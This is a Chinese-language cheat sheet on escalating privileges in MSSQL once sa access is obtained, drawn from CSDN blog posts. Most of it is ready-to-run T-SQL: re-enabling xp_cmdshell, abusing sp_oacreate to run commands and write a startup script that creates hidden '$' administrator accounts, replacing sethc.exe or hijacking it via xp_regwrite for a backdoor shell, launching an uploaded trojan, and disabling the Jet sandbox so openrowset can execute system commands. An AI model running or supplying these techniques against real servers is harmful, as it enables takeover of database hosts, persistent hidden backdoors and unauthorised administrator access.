MSSQL数据库内置用户类型
- dbo
- dba
- public
xp-cmdshell提权
条件:已得到 sql server 的sa权限
使用命令
xp_cmdshell默认在MSSQL2000中是开启的,在MSSQL2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
原文链接:https://blog.csdn.net/weixin_40412037/article/details/112858836
sp_oacreate提权:
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
条件: 1.需要SqlServer的sysadmin账户即服务器权限为system(但SqlServer2019默认被降权为mssql) 2.需要具备sp_oacreate和sp_oamethod这两个功能组件
sp_oacreate是一个存储过程,可以删除、复制、移动文件,配合sp_oamethod来写文件执行系统命令。
启用sp_oacreate
// 判断sp_oacreate和sp_oamethod存储过程是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oamethod';
// 启用sp_oacreate和sp_oamethod存储过程
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
Abuse sp_oacreate
1.利用wscript.shell类执行程序
// 利用sp_oacreate执行命令
declear @shell int exec sp_oacreat "wscript.shell" ,@shell output exec sp_oamethod @shell 'run',null,"c:\winnt\system32\cmd.exe /c <cmd>";
// 1.这里可以利用sp_oacreate新建用户并加入管理员组,在windows server 2000以上可以在用户名后面加入$建立隐藏用户
declear @shell int exec sp_oacreat "wscript.shell" ,@shell output exec sp_oamethod @shell 'run',null,"c:\winnt\system32\cmd.exe /c net user <uname> <passwd> /add";
declear @shell int exec sp_oacreat "wscript.shell" ,@shell output exec sp_oamethod @shell 'run',null,"c:\winnt\system32\cmd.exe /c net localgroup administrators <uname> /add";
// 2.也可以用该方法去执行一个上传的木马获取高权限shell
declear @shell int exec sp_oacreat "wscript.shell" ,@shell output exec sp_oamethod @shell 'run',null,"c:\winnt\system32\exploit.exe";
2.用scripting.filesystemobject类来替换粘滞键实现命令执行
// 3.粘滞键替换(注意备份粘滞键)
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
3.利用scripting.filesystemobject类写入文件
// 启动项写入加账户脚本
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, '<setup-dir>', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","<uname>$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "<passwd>"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/<uname>$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/<uname>$"';
//开机自启动文件夹
C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
xp_regwrite注册表劫持提权
xp_regwrite
是一个在 SQL Server 中用于写入注册表值的扩展存储过程。它允许具有适当权限的 SQL Server 用户向 Windows 注册表写入键值。
粘滞键换提权
// 粘滞键替换
// 查看xp_regwrite拓展存储过程是否可用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite';
// 启用xp_regwrite
EXEC sp_configure 'show advanced options',1;RECONFIGURE;
EXEC sp_configure 'xp_regwrite',1;RECONFIGURE;
// 替换粘滞键
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
// 查看是否注册表劫持成功,这条命令的作用是查询注册表中 sethc.exe 可执行文件的调试器配置。这通常用于检查或修改应用程序或系统工具在启动时的行为。
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
// 如果劫持成功,按五次shift会弹出cmd命令行
// 关闭xp_regwrite拓展存储过程
EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',0;RECONFIGURE
Sql Server 沙盒提权
Sql Server沙盒提权的原理
修改SQL Server的注册表设置,关闭或修改沙盒模式的配置,从而允许执行一些原本受限的操作。具体来说,沙盒模式的配置存储在注册表中,通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\Engines
路径下的SandBoxMode
值,可以控制沙盒模式的行为,当设为0时可用关闭沙盒,关闭沙盒后可以利用sql server自带的一些函数执行系统命令。在这里关闭沙盒的目的是为了执行openrowset
函数,该函数可以被用于调用其他数据库的,利用其他数据库函数执行系统命令
执行系统命令的原理
// 执行系统命令的语句
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("<cmd>")')
openrowset
函数,它是SQL Server中的一个扩展存储过程,允许执行跨数据库引擎的操作。这个函数可以访问并操作远程数据源,包括访问本地文件系统上的数据库文件。
openrowset
: 这是SQL Server的一个函数,它使用OLE DB提供程序来执行SQL语句。'provider_name'
: 指定要使用的OLE DB提供程序。在这个例子中,提供程序是'microsoft.jet.oledb.4.0'
,它是一个用于访问Microsoft Access数据库文件(.mdb)的提供程序。';database=c:/windows/system32/ias/ias.mdb'
: 这是连接字符串,用于指定要连接的数据库文件。在这个例子中,它指向了c:/windows/system32/ias/ias.mdb
路径下的Access数据库文件。'select shell("net user margin margin /add")'
: 这是要执行的SQL语句。这里使用shell
函数来执行一个外部命令,即在操作系统层面创建一个新的用户margin
,密码也是margin
。
其实原理就相当于调用microsoft.jet.oledb.4.0
程序来操作ias.mdb
数据库而该数据库中有一个shell函数可以用来执行系统命令
提权步骤
- 使用
sp_configure
存储过程启用Ad Hoc Distributed Queries和显示高级选项 - 使用xp_regwrite存储过程修改注册表中的SandBoxMode值,关闭或修改沙盒模式
- 利用修改后的配置执行openrowset查询,执行系统命令,如添加新用户或将用户添加到管理员组。
- 恢复原始配置
// sp_configure 启用Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
// xp_regwrite存储过程关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
// openrowset函数添加管理员用户
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
// 执行其他系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("<cmd>")')
// 恢复原始配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
参考文章:
https://blog.csdn.net/m0_64481831/article/details/137070646
https://blog.csdn.net/weixin_40412037/article/details/112858836